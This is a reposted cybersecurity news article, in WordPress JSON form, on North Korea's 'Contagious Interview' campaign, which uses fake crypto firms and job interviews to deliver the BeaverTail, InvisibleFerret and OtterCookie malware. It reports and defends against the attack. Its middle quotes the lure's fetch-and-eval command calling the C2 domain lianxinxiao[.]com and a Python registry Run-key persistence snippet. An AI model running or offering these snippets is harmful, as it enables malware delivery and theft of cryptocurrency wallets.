{"id":3525,"date":"2025-04-25T10:04:15","date_gmt":"2025-04-25T10:04:15","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/04\/25\/north-korean-apt-hackers-create-companies-to-deliver-malware-strains-targeting-job-seekers\/"},"modified":"2025-04-25T10:04:15","modified_gmt":"2025-04-25T10:04:15","slug":"north-korean-apt-hackers-create-companies-to-deliver-malware-strains-targeting-job-seekers","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/04\/25\/north-korean-apt-hackers-create-companies-to-deliver-malware-strains-targeting-job-seekers\/","title":{"rendered":"North Korean APT Hackers Create Companies to Deliver Malware Strains Targeting Job Seekers"},"content":{"rendered":"

North Korean APT Hackers Create Companies to Deliver Malware Strains Targeting Job Seekers
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

A sophisticated North Korean advanced persistent threat (APT) group known as \u201cContagious Interview\u201d has established elaborate fake cryptocurrency consulting companies to target job seekers with specialized malware.<\/p>\n

The group, a subunit of the infamous North Korean state-sponsored Lazarus Group, has created three front companies\u2014BlockNovas LLC, Angeloper Agency, and SoftGlide LLC\u2014to distribute malware through deceptive job interview processes.<\/p>\n

\n
\"\"
Blocknovas[.]com site (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n

The campaign targets cryptocurrency professionals and developers with promises of high-paying remote positions.<\/p>\n

Job applicants who engage with these fraudulent companies are unknowingly exposed to a trio of malware<\/a> strains: BeaverTail, InvisibleFerret, and OtterCookie.<\/p>\n

These malicious tools are specifically designed to steal cryptocurrency wallet credentials, browser data, and provide backdoor access to victim machines.<\/p>\n

Silent Push threat analysts uncovered<\/a> this elaborate scheme after identifying unusual configurations in BeaverTail malware samples.<\/p>\n

\n
\"\"
Fake profiles (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n

Their investigation revealed the threat actors heavily utilize AI-generated images to create convincing \u201cemployee\u201d profiles across multiple platforms, including LinkedIn, where the fake companies maintain active presences complete with falsified work histories and client testimonials.<\/p>\n

\n
\"\"
Fake employee profiles (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n

The APT group\u2019s technical sophistication is evident in their cross-platform malware deployment strategy, which affects Windows, macOS, and Linux systems.<\/p>\n

One victim reported that their MetaMask wallet was compromised shortly after running code provided during a skill assessment test from BlockNovas.<\/p>\n

\n
\"\"
BeaverTail distributing domain lianxinxiao[.].com (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n

Analysis of the compromised system revealed connections to command and control servers at domains including lianxinxiao[.]com.<\/p>\n

Infection Mechanism: The Fake Interview Flow<\/strong><\/h2>\n

The infection process begins when candidates apply for positions through legitimate job sites like Upwork, Freelancer.com, or cryptocurrency-specific job boards.<\/p>\n

After initial contact, applicants are directed to company portals where they encounter a multi-stage interview process.<\/p>\n

The critical infection point occurs during the \u201cskill assessment\u201d phase, where candidates are asked to record a video introduction.<\/p>\n

When attempting to access camera permissions, the site presents an error message with a supposed fix involving pasting code into a terminal:-<\/p>\n

fetch(eval(decodeURIComponent(''lianxinxiao[.]com:5000\/tokenizer'')))\n.then(response => response.text()) \n.then(data => { eval(data); });<\/code><\/pre>\n
This innocent-looking code actually fetches and executes the BeaverTail JavaScript<\/a> malware, which subsequently downloads InvisibleFerret, a Python-based backdoor.<\/p>\n
The malware establishes persistence through various mechanisms depending on the operating system.<\/p>\n
On Windows systems, it creates registry entries:-<\/p>\n
import winreg\nkey_path = r\"SOFTWAREMicrosoftWindowsCurrentVersionRun\"\nkey = winreg.HKEY_CURRENT_USER\nwith winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as registry_key:\n    winreg.SetValueEx(registry_key, \"pythonws\", 0, winreg.REG_SZ, f'{python_exe} {script_path}')<\/code><\/pre>\n
The malware specifically targets cryptocurrency wallets<\/a>, including MetaMask, BNB Chain, Coinbase, TronLink, Phantom, Crypto.com, and Coin98.<\/p>\n
It exfiltrates data to attacker-controlled servers and can deploy additional payloads based on C2 instructions.<\/p>\n
To avoid falling victim to such attacks, cybersecurity experts recommend scrutinizing job offers thoroughly, never executing code from unknown sources during interviews, and using dedicated devices for cryptocurrency management.<\/p>\n
Job seekers should verify company legitimacy through multiple channels before engaging with technical assessments that require executing code.<\/p>\n
Malware Trends Report Based on 15000 SOC Teams Incidents, Q1 2025 out!->\u00a0Get Your Free Copy<\/a><\/code><\/strong><\/p>\n
The post North Korean APT Hackers Create Companies to Deliver Malware Strains Targeting Job Seekers<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
North Korean APT Hackers Create Companies to Deliver Malware Strains Targeting Job Seekers A sophisticated North Korean advanced persistent threat (APT) group known as \u201cContagious Interview\u201d has established elaborate fake cryptocurrency consulting companies to target job seekers with specialized malware. The group, a subunit of the infamous North Korean state-sponsored Lazarus Group, has created three […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[63,258,649],"tags":[130],"class_list":["post-3525","post","type-post","status-publish","format-standard","hentry","category-cyber-security-news","category-malware","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/3525"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=3525"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/3525\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=3525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=3525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=3525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}